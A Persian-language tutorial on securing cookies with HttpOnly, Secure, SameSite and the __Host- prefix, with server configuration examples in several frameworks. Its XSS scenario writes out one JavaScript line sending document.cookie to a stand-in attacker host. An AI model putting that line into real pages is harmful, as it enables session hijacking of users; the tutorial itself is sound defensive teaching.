ایمن‌سازی کوکی‌ها: چرا همیشه باید گزینه HttpOnly را تنظیم کنید

فرض کن یه سایت ساختی، سیستم لاگین هم گذاشتی و همه‌چی خوب کار می‌کنه. کاربرا لاگین می‌کنن، سشن‌شون تو یه کوکی ذخیره میشه و خیالت راحته. تا اینکه یه روز یه نفر یه تیکه جاوااسکریپت مخرب تو سایتت تزریق می‌کنه و کل سشن کاربراتو می‌دزده. 😬

این دقیقاً همون جاییه که یه فلگ کوچیک به اسم HttpOnly می‌تونه جلوی فاجعه رو بگیره. تو این مقاله خودمونی و قدم‌به‌قدم می‌بینیم کوکی چیه، فرق کوکی سمت سرور و سمت کلاینت چیه، HttpOnly دقیقاً چیکار می‌کنه و چرا باید همیشه بذاریش.

اول از همه: کوکی اصلاً چیه؟

پروتکل HTTP ذاتاً «بی‌حافظه» است؛ یعنی سرور از یه درخواست به درخواست بعدی یادش نمیاد تو کی هستی. کوکی یه تیکه داده کوچیکه که سرور برای مرورگر می‌فرسته، مرورگر ذخیره‌ش می‌کنه و تو درخواست‌های بعدی خودش دوباره برای همون سرور پس می‌فرسته. به همین سادگی!

مثلاً تو یه سیستم لاگین ساده ماجرا این‌طوریه: کاربر یوزرنیم و پسورد رو می‌فرسته، سرور اگه درست باشه یه کوکی حاوی شناسه سشن برمی‌گردونه، و از اون به بعد مرورگر هر بار اون کوکی رو همراه درخواست می‌فرسته تا سرور بفهمه این همون کاربره.

مرورگر سرور ۱) ارسال یوزرنیم و پسورد (POST /login) ۲) پاسخ همراه با هدر Set-Cookie: session_id=abc123 ۳) هر درخواست بعدی: Cookie: session_id=abc123 سرور از روی شناسه سشن می‌فهمه این همون کاربره

کوکی سمت سرور و سمت کلاینت

کوکی رو از دو راه می‌شه ساخت:

  • سمت سرور: سرور تو پاسخ HTTP هدر Set-Cookie می‌فرسته و مرورگر ذخیره‌ش می‌کنه.
  • سمت کلاینت: خود جاوااسکریپتِ صفحه با document.cookie کوکی می‌سازه یا می‌خونه.

نمونه‌ی سمت سرور، یه پاسخ HTTP که دو تا کوکی می‌سازه:

http
HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: yummy_cookie=chocolate
Set-Cookie: tasty_cookie=strawberry

[page content]

و مرورگر تو درخواست بعدی اینا رو خودش برمی‌گردونه:

http
GET /sample_page.html HTTP/2.0
Host: www.example.org
Cookie: yummy_cookie=chocolate; tasty_cookie=strawberry

نمونه‌ی سمت کلاینت، با جاوااسکریپت:

javascript
// ساخت کوکی
document.cookie = "yummy_cookie=chocolate";
document.cookie = "tasty_cookie=strawberry";

// خوندن همه‌ی کوکی‌ها
console.log(document.cookie);
// "yummy_cookie=chocolate; tasty_cookie=strawberry"

// تغییر مقدار یک کوکی
document.cookie = "yummy_cookie=blueberry";

همین‌جا یه سوال مهم پیش میاد: اگه جاوااسکریپت می‌تونه همه‌ی کوکی‌ها رو بخونه، پس هر کدی که تو صفحه اجرا بشه هم می‌تونه! یعنی اگه یه مهاجم بتونه کد خودش رو تو صفحه‌ی تو اجرا کنه، به همه‌ی کوکی‌هات دسترسی داره. اینجاست که HttpOnly وارد می‌شه.

HttpOnly یعنی چی؟

HttpOnly یه اتریبیوت (فلگ) روی کوکیه که به مرورگر می‌گه: «این کوکی رو فقط برای ارسال همراه درخواست‌های HTTP نگه دار، به هیچ اسکریپتی نشونش نده.» یعنی کوکی همچنان با هر درخواست برای سرور فرستاده می‌شه، ولی document.cookie دیگه نمی‌بینتش.

سرور اینو تو همون هدر Set-Cookie تنظیم می‌کنه:

http
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax

اجزای این هدر رو تو شکل زیر ببین:

Set-Cookie: session_id=abc123 HttpOnly Secure SameSite=Lax اسم و مقدار کوکی (مثلاً شناسه سشن) جاوااسکریپت نمی‌بینه (document.cookie خالیه) فقط روی HTTPS ارسال می‌شه کنترل ارسال در درخواست‌های بین‌سایتی

سناریوی حمله: وقتی HttpOnly نداری

بیا ببینیم بدون HttpOnly چه اتفاقی میفته. حمله‌ای که اینجا مهمه اسمش XSS (Cross-Site Scripting) هست؛ یعنی مهاجم یه جوری (مثلاً از طریق یه کامنت، یه فیلد سرچ یا یه کتابخونه‌ی آلوده) می‌تونه جاوااسکریپت خودش رو تو صفحه‌ی سایت تو اجرا کنه.

اگه کوکی سشن HttpOnly نداشته باشه، همون کد مخرب با یه خط می‌تونه همه‌ی کوکی‌ها رو بخونه:

javascript
// هر اسکریپتی که تو صفحه اجرا بشه، این کار رو می‌تونه بکنه
console.log(document.cookie);
// "session_id=abc123; theme=dark"

// و یه مهاجم می‌تونه اینو به سرور خودش بفرسته
new Image().src = "https://attacker.example/collect?c=" + encodeURIComponent(document.cookie);

حالا مهاجم شناسه سشن تو رو داره. کافیه اون رو تو مرورگر خودش به‌عنوان کوکی ست کنه و بدون هیچ پسوردی عملاً «تو» باشه. به این کار می‌گن Session Hijacking (ربودن نشست). MDN هم صراحتاً می‌گه که یه مجرم می‌تونه با دزدیدن شناسه سشن، کنترل حساب بانکی یا فروشگاهی کاربر رو به دست بگیره.

بدون HttpOnly ❌ صفحه‌ی سایت شما اسکریپت مخرب تزریق شده session_id=abc123 document.cookie سرور مهاجم کوکی رو دریافت می‌کنه ورود به حساب بدون پسورد مهاجم با همون شناسه سشن، «خودِ کاربر» میشه

وقتی HttpOnly داری

حالا همون حمله رو تصور کن، ولی این بار سرور کوکی رو با HttpOnly ساخته. مرورگر اون کوکی رو فقط برای ارسال تو درخواست‌ها نگه می‌داره و اصلاً تو document.cookie نشونش نمیده:

javascript
// سرور این رو فرستاده: Set-Cookie: session_id=abc123; HttpOnly
console.log(document.cookie);
// "" (کوکی HttpOnly اینجا دیده نمی‌شه)

پس کد مخرب هر کاری بکنه، شناسه سشن رو پیدا نمی‌کنه تا برای مهاجم بفرسته.

با HttpOnly ✅ صفحه‌ی سایت شما اسکریپت مخرب تزریق شده 🔒 کوکی HttpOnly (مخفی) document.cookie مسدود! سرور مهاجم چیزی دریافت نمی‌کنه مرورگر خودش کوکی رو فقط همراه درخواست‌های HTTP به سرور اصلی می‌فرسته

سرور چطوری کوکی HttpOnly رو می‌خونه؟

شاید فکر کنی «اگه جاوااسکریپت نمی‌بینتش، پس برنامه‌م کار نمی‌کنه!». نه، نگران نباش. مرورگر کوکی HttpOnly رو خودکار با هر درخواستی که به همون دامنه می‌ره (طبق قواعد Domain، Path و Secure) همراه می‌کنه. تو فقط لازمه سمت سرور بخونیش. حتی برای درخواست‌های fetch هم کافیه بگی کوکی‌ها رو بفرسته:

javascript
// کوکی HttpOnly رو خودت نمی‌خونی، ولی مرورگر خودش می‌فرسته
const res = await fetch("/api/profile", {
  credentials: "include", // کوکی‌ها (حتی HttpOnly) همراه درخواست می‌رن
});
const data = await res.json();
console.log(data);

HttpOnly رو تو زبان‌ها و فریمورک‌های مختلف چطور تنظیم کنیم؟

تو همه‌ی زبان‌ها یه گزینه‌ی ساده برای این کار هست. این نمونه‌ها رو می‌تونی مستقیم کپی کنی.

Node.js (Express)

javascript
res.cookie("sessionId", "your-session-value", {
  httpOnly: true,     // جاوااسکریپت بهش دسترسی نداره
  secure: true,       // فقط روی HTTPS ارسال می‌شه
  sameSite: "strict", // کوکی تو درخواست‌های بین‌سایتی ارسال نمی‌شه
  maxAge: 1000 * 60 * 60, // یک ساعت
});

Python (Django)

python
response.set_cookie(
    "sessionId",
    "your-session-value",
    httponly=True,
    secure=True,
    samesite="Strict",
    max_age=3600,
)

PHP

php
setcookie("sessionId", "your-session-value", [
    "expires"  => time() + 3600,
    "path"     => "/",
    "secure"   => true,
    "httponly" => true,
    "samesite" => "Strict",
]);

Java (Spring Boot)

java
ResponseCookie cookie = ResponseCookie.from("sessionId", "your-session-value")
        .httpOnly(true)      // جلوگیری از دسترسی جاوااسکریپت
        .secure(true)        // فقط HTTPS
        .path("/")           // برای همه‌ی صفحات
        .sameSite("Strict")  // محافظت در برابر CSRF
        .build();
response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());

اگه از javax.servlet.http.Cookie استفاده می‌کنی هم همین‌طوره:

java
Cookie cookie = new Cookie("sessionId", "your-session-value");
cookie.setHttpOnly(true);
cookie.setSecure(true);
cookie.setPath("/");
response.addCookie(cookie);

HttpOnly تنها نیست: دوستاش رو هم صدا بزن

HttpOnly فقط یه لایه از دفاعه. بهترین کار اینه که با چند تا فلگ دیگه ترکیبش کنی:

اتریبیوت چیکار می‌کنه؟ جلوی چی رو می‌گیره؟
HttpOnly جاوااسکریپت رو از خوندن کوکی منع می‌کنه دزدیده شدن مستقیم کوکی بعد از XSS
Secure کوکی فقط روی HTTPS ارسال می‌شه شنود کوکی روی اتصال رمزنشده (MITM)
SameSite تعیین می‌کنه کوکی تو درخواست‌های بین‌سایتی ارسال بشه یا نه بعضی حمله‌های CSRF و نشت اطلاعات
Max-Age / Expires عمر کوکی رو محدود می‌کنه باقی موندن سشن حساس برای مدت طولانی

یه نکته درباره‌ی SameSite: سه تا مقدار داره، Strict، Lax و None. اگه اصلاً مشخصش نکنی، مرورگر به‌صورت پیش‌فرض باهاش مثل Lax رفتار می‌کنه. اگه هم SameSite=None بذاری، حتماً باید Secure رو هم بذاری.

یه کانفیگ حسابی برای کوکی سشن اینه:

http
Set-Cookie: __Host-session_id=abc123; Max-Age=3600; Path=/; Secure; HttpOnly; SameSite=Strict

اون __Host- اول اسم کوکی یه «پیشوند کوکی»ـه. مرورگر کوکی‌ای که این پیشوند رو داره فقط وقتی قبول می‌کنه که Secure داشته باشه، از یه صفحه‌ی HTTPS ست شده باشه، Domain نداشته باشه و Path=/ باشه. این کار جلوی حمله‌هایی مثل Session Fixation از سمت ساب‌دامین‌ها رو می‌گیره. فقط یادت باشه سمت سرور باید اسم کامل کوکی رو با پیشوند چک کنی.

چند تا سوءتفاهم رایج

۱) «HttpOnly یعنی دیگه XSS خطری نداره»

نه! HttpOnly جلوی خودِ XSS رو نمی‌گیره، فقط یکی از بدترین عواقبش یعنی دزدیدن مستقیم کوکی رو سخت می‌کنه. مهاجمی که کدش تو صفحه‌ی تو اجرا می‌شه هنوز می‌تونه از طرف کاربر درخواست بفرسته، چون مرورگر کوکی HttpOnly رو خودش همراه درخواست می‌کنه. پس باید حتماً این کارها رو هم انجام بدی:

  • ورودی کاربر رو اعتبارسنجی کن.
  • خروجی رو بر اساس context درست escape یا encode کن.
  • یه Content Security Policy (CSP) درست بذار تا اجرای اسکریپت‌های ناشناس محدود بشه.
  • وابستگی‌ها و کتابخونه‌های فرانت رو به‌روز نگه دار.
http
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

۲) «با HttpOnly، کاربر هم نمی‌تونه کوکی رو ببینه»

اشتباهه. HttpOnly فقط جلوی دسترسی اسکریپت‌های صفحه رو می‌گیره. خود کاربر هنوز می‌تونه کوکی رو تو ابزارهای توسعه‌دهنده‌ی مرورگر (تب Application تو کروم یا Storage تو فایرفاکس) ببینه. هدف اینه که کدهای مخرب نتونن بخونن، نه اینکه صاحب مرورگر نبینه.

۳) «Secure هم بذارم، دیگه همه‌چی امنه»

Secure فقط انتقال روی HTTPS رو تضمین می‌کنه. اگه HttpOnly نباشه، یه اسکریپت تو همون صفحه‌ی HTTPS هم هنوز می‌تونه کوکی رو بخونه. هر فلگ یه کار جدا انجام می‌ده.

کوکی HttpOnly بهتره یا localStorage؟

خیلی‌ها توکن‌های لاگین رو تو localStorage نگه می‌دارن چون راحته. مشکل اینه که localStorage برای هر جاوااسکریپتی که تو صفحه اجرا بشه در دسترسه، پس اگه XSS داشته باشی، توکن خیلی راحت می‌پره:

javascript
// هر اسکریپت تزریق‌شده‌ای می‌تونه این رو بخونه
const token = localStorage.getItem("access_token");

برای اکثر سناریوهای احراز هویت مبتنی بر مرورگر، کوکی HttpOnly گزینه‌ی امن‌تریه چون جاوااسکریپت مستقیم نمی‌تونه مقدارش رو بخونه. البته اون هم باید با Secure و SameSite و CSP ترکیب بشه تا نتیجه‌ی خوب بگیری.

پس کی HttpOnly نذاریم؟

قانون ساده: هر کوکی‌ای که جاوااسکریپت سمت کلاینت لازم نداره بخونه، باید HttpOnly باشه. این شامل کوکی‌های سشن، refresh token و هر کوکی مربوط به احراز هویت می‌شه.

تنها موقعی که ممکنه HttpOnly نذاری، کوکی‌های غیرحساسیه که واقعاً باید سمت کلاینت خونده بشن؛ مثل انتخاب تم (روشن/تاریک) یا زبان رابط کاربری:

javascript
// کوکی غیرحساس که UI بهش نیاز داره (HttpOnly نیست، عمداً)
document.cookie = "theme=dark; Max-Age=31536000; Path=/; SameSite=Lax; Secure";

function getCookie(name) {
  const match = document.cookie
    .split("; ")
    .find((row) => row.startsWith(name + "="));
  return match ? decodeURIComponent(match.split("=")[1]) : null;
}

console.log(getCookie("theme")); // "dark"

حواست باشه اگه دیتایی حساسه، اصلاً نباید تو کوکیِ قابل‌خوندن با جاوااسکریپت باشه. MDN هم پیشنهاد می‌کنه به‌جای ذخیره‌ی مستقیم اطلاعات حساس تو کوکی، از یه شناسه‌ی مبهم (opaque) استفاده کنی که سرور اون رو تو دیتابیس یا حافظه‌ی خودش بررسی می‌کنه.

چک‌لیست سریع

  • کوکی سشن و توکن‌های احراز هویت: HttpOnly ✅
  • همه‌ی کوکی‌های حساس: Secure ✅ و سایت روی HTTPS ✅
  • SameSite رو صریحاً مشخص کن (Lax یا Strict) ✅
  • برای کوکی‌های حساس عمر کوتاه بذار و بعد از لاگین، شناسه سشن رو دوباره بساز ✅
  • اگه شرایطش رو داری از پیشوند __Host- استفاده کن ✅
  • یه CSP درست راه بنداز و ورودی/خروجی‌ها رو پاک‌سازی کن ✅
  • اگه کوکی‌ای رو نیازه از جاوااسکریپت بخونی، مطمئن شو واقعاً حساس نیست ✅

جمع‌بندی

HttpOnly یه فلگ خیلی کوچیکه ولی اثر بزرگی داره: کوکی رو از دسترس جاوااسکریپت خارج می‌کنه و باعث می‌شه حتی اگه یه روز XSS تو سایتت پیدا شد، مهاجم به‌راحتی نتونه سشن کاربرها رو بدزده. هزینه‌ی گذاشتنش تقریباً صفره، پس برای هر کوکی‌ای که لازم نیست جاوااسکریپت ببینتش، همیشه فعالش کن. فقط یادت باشه این یه لایه از دفاعه، نه کل دفاع؛ کنارش Secure، SameSite و CSP هم بذار تا امنیت واقعی داشته باشی. 🔐

منابع